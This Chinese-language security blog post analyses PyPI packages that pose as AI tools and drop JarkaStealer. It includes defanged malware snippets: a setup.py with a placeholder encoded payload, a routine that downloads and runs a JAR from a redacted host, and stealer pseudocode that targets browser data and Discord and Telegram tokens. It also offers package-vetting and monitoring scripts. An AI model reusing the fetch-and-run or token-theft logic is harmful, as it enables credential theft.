最近几个月,通过伪装成 AI 开发工具的 PyPI 包针对 Python 开发人员的复杂供应链攻击激增。让我们分析这些攻击并学习如何保护我们的开发环境。
发现了两个传播 JarkaStealer 恶意软件的著名软件包:
这两个软件包在最终从 PyPI 中删除之前都吸引了数千次下载。
这是典型的恶意包结构:
# setup.py from setuptools import setup setup( name="gptplus", version="1.0.0", description="Enhanced GPT-4 Turbo API Integration", packages=["gptplus"], install_requires=[ "requests>=2.25.1", "cryptography>=3.4.7" ] ) # Inside main package file import base64 import os import subprocess def initialize(): encoded_payload = "BASE64_ENCODED_MALICIOUS_PAYLOAD" decoded = base64.b64decode(encoded_payload) # Malicious execution follows
攻击遵循以下顺序:
# Simplified representation of the malware deployment process def deploy_malware(): # Check if Java is installed if not is_java_installed(): download_jre() # Download malicious JAR jar_url = "https://github.com/[REDACTED]/JavaUpdater.jar" download_file(jar_url, "JavaUpdater.jar") # Execute with system privileges subprocess.run(["java", "-jar", "JavaUpdater.jar"])
JarkaStealer 的数据收集方法:
# Pseudocode representing JarkaStealer's operation class JarkaStealer: def collect_browser_data(self): paths = { 'chrome': os.path.join(os.getenv('LOCALAPPDATA'), 'Google/Chrome/User Data/Default'), 'firefox': os.path.join(os.getenv('APPDATA'), 'Mozilla/Firefox/Profiles') } # Extract cookies, history, saved passwords def collect_system_info(self): info = { 'hostname': os.getenv('COMPUTERNAME'), 'username': os.getenv('USERNAME'), 'ip': requests.get('https://api.ipify.org').text } return info def steal_tokens(self): token_paths = { 'discord': os.path.join(os.getenv('APPDATA'), 'discord'), 'telegram': os.path.join(os.getenv('APPDATA'), 'Telegram Desktop') } # Extract and exfiltrate tokens
这是一个可用于在安装前验证软件包的工具:
import requests import json from datetime import datetime import subprocess def analyze_package(package_name): """ Comprehensive package analysis tool """ def check_pypi_info(): url = f"https://pypi.org/pypi/{package_name}/json" response = requests.get(url) if response.status_code == 200: data = response.json() return { "author": data["info"]["author"], "maintainer": data["info"]["maintainer"], "home_page": data["info"]["home_page"], "project_urls": data["info"]["project_urls"], "release_date": datetime.fromisoformat( data["releases"][data["info"]["version"]][0]["upload_time_iso_8601"] ) } return None def scan_dependencies(): result = subprocess.run( ["pip-audit", package_name], capture_output=True, text=True ) return result.stdout info = check_pypi_info() if info: print(f"Package Analysis for {package_name}:") print(f"Author: {info['author']}") print(f"Maintainer: {info['maintainer']}") print(f"Homepage: {info['home_page']}") print(f"Release Date: {info['release_date']}") # Red flags check if (datetime.now() - info['release_date']).days < 30: print("⚠️ Warning: Recently published package") if not info['home_page']: print("⚠️ Warning: No homepage provided") # Scan dependencies print("\nDependency Scan Results:") print(scan_dependencies()) else: print(f"Package {package_name} not found on PyPI")
实施此监控脚本来检测可疑活动:
import psutil import os import logging from watchdog.observers import Observer from watchdog.events import FileSystemEventHandler class SuspiciousActivityMonitor(FileSystemEventHandler): def __init__(self): self.logger = logging.getLogger('SecurityMonitor') self.suspicious_patterns = [ 'JavaUpdater', '.jar', 'base64', 'telegram', 'discord' ] def on_created(self, event): if not event.is_directory: self._check_file(event.src_path) def _check_file(self, filepath): filename = os.path.basename(filepath) # Check for suspicious patterns for pattern in self.suspicious_patterns: if pattern.lower() in filename.lower(): self.logger.warning( f"Suspicious file created: {filepath}" ) # Check for base64 encoded content try: with open(filepath, 'r') as f: content = f.read() if 'base64' in content: self.logger.warning( f"Possible base64 encoded payload in: {filepath}" ) except: pass def start_monitoring(): logging.basicConfig(level=logging.INFO) event_handler = SuspiciousActivityMonitor() observer = Observer() observer.schedule(event_handler, path=os.getcwd(), recursive=True) observer.start() return observer
# Create isolated environments for each project python -m venv .venv source .venv/bin/activate # Unix .venv\Scripts\activate # Windows # Lock dependencies pip freeze > requirements.txt
# Example GitHub Actions workflow name: Security Scan on: [push, pull_request] jobs: security: runs-on: ubuntu-latest steps: - uses: actions/checkout@v2 - name: Run security scan run: | pip install safety bandit safety check bandit -r .
以人工智能为主题的 PyPI 攻击的兴起代表了供应链威胁的复杂演变。通过实施稳健的验证流程并保持警惕的监控系统,开发团队可以显着减少面临这些风险的风险。
请记住:集成 AI 包时,请务必验证来源、扫描代码并保持全面的安全监控。预防成本始终低于从安全漏洞中恢复的成本。
注:本文基于真实安全事件。一些代码示例已被修改以防止误用。
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